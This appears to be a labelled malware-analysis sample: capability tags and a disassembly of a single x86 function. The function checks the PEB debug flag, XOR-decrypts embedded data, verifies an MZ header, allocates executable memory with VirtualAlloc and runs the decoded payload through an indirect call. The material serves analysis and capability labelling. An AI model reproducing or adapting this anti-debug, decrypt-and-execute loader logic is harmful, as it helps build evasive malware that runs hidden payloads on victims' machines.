Function at 0x40a664
Capabilities:
Allocate or change rwx memory
Check for peb beingdebugged flag
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, 0x40a5d4
call fcn.004057cc
xor eax, eax
push ebp
push 0x40a938
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
cmp al, 0
jne 0x40a68c
push 4
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
test eax, eax
jne 0x40a91a
mov ebx, 0xc2d4
push 0x40c7d4
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402c08
mov ecx, dword [ebp - 0x14]
mov edx, 0x40a950
mov eax, 0x40a964
call fcn.004096b0
dec ebx
jne 0x40a6b5
mov edx, 0x40ba70
mov eax, 0x40ba6c
call fcn.0040a4e0
mov eax, dword [0x40ba70]
cmp eax, dword [0x40ba74]
jle 0x40a7d4
call fcn.0040a2b4
push 0x3e8
call sub.kernel32.dll_Sleep
mov eax, 0x40c7c0
mov edx, dword [0x40ba74]
call fcn.00404680
mov eax, dword [0x40ba70]
sub eax, dword [0x40ba74]
push eax
mov eax, 0x40c7c4
mov ecx, 1
mov edx, dword [0x40a4a0]
call fcn.00404e40
add esp, 4
mov eax, dword [0x40ba74]
add eax, 0x410
push eax
mov eax, 0x40c7c8
mov ecx, 1
mov edx, dword [0x40a4c0]
call fcn.00404e40
add esp, 4
mov eax, 0x40c7c0
call fcn.004045f0
push eax
mov eax, dword [0x40c660]
xor edx, edx
push edx
push eax
mov eax, dword [0x40ba6c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, eax
mov ecx, dword [0x40ba74]
pop eax
call fcn.004059c8
mov eax, dword [0x40c660]
xor edx, edx
push edx
push eax
mov eax, dword [0x40ba6c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [0x40ba74]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, eax
mov ecx, dword [0x40ba70]
sub ecx, dword [0x40ba74]
mov eax, dword [0x40c7c4]
call fcn.004059c8
mov eax, dword [0x40c7c4]
call fcn.00404c6c
cmp eax, 0x40
jle 0x40a842
mov eax, dword [0x40c7c4]
call fcn.00404c6c
mov esi, eax
dec esi
test esi, esi
jl 0x40a814
inc esi
xor ebx, ebx
mov eax, dword [0x40c7c0]
call fcn.004068e4
mov ecx, ebx
shr eax, cl
not al
mov edx, dword [0x40c7c4]
xor byte [edx + ebx], al
inc ebx
dec esi
jne 0x40a7f7
mov eax, dword [0x40c7c4]
cmp byte [eax], 0x4d
je 0x40a82d
mov eax, dword [0x40c7c4]
cmp byte [eax + 1], 0x5a
jne 0x40a91a
mov edx, dword [0x40bb9c]
mov eax, dword [0x40c7c8]
mov ecx, 0x170
call fcn.004059c8
mov eax, dword [0x40c7c8]
call fcn.00404c6c
test eax, eax
je 0x40a91a
mov edx, dword [0x40bba8]
mov eax, dword [0x40c7c8]
add eax, 0x170
mov ecx, 0x2a4
call fcn.004059c8
mov eax, dword [0x40c7c8]
call fcn.00404c6c
mov esi, eax
dec esi
test esi, esi
jl 0x40a89a
inc esi
xor ebx, ebx
mov ecx, ebx
mov eax, 0x23a3
shr eax, cl
not al
mov edx, dword [0x40c7c8]
xor byte [edx + ebx], al
inc ebx
dec esi
jne 0x40a882
call fcn.0040a19c
push 0x40
push 0x3000
mov eax, dword [0x40c7c8]
call fcn.00404c6c
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [0x40c7cc], eax
mov eax, dword [0x40c7c8]
call fcn.00404c6c
mov ecx, eax
mov edx, dword [0x40c7c8]
mov eax, dword [0x40c7cc]
call fcn.004059c8
mov ebx, dword [0x40c7cc]
mov eax, dword [0x40c7c4]
call fcn.00404c6c
push eax
mov eax, dword [0x40c7c4]
push eax
lea eax, [ebp - 0x18]
call fcn.00409854
mov eax, dword [ebp - 0x18]
call fcn.00404834
push eax
call ebx
add esp, 0xc
mov eax, 0x40c7d0
call fcn.00404714
push 0x7d0
call sub.kernel32.dll_Sleep
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a93f
lea eax, [ebp - 0x18]
call fcn.00404714
lea eax, [ebp - 0x14]
call fcn.00404110
ret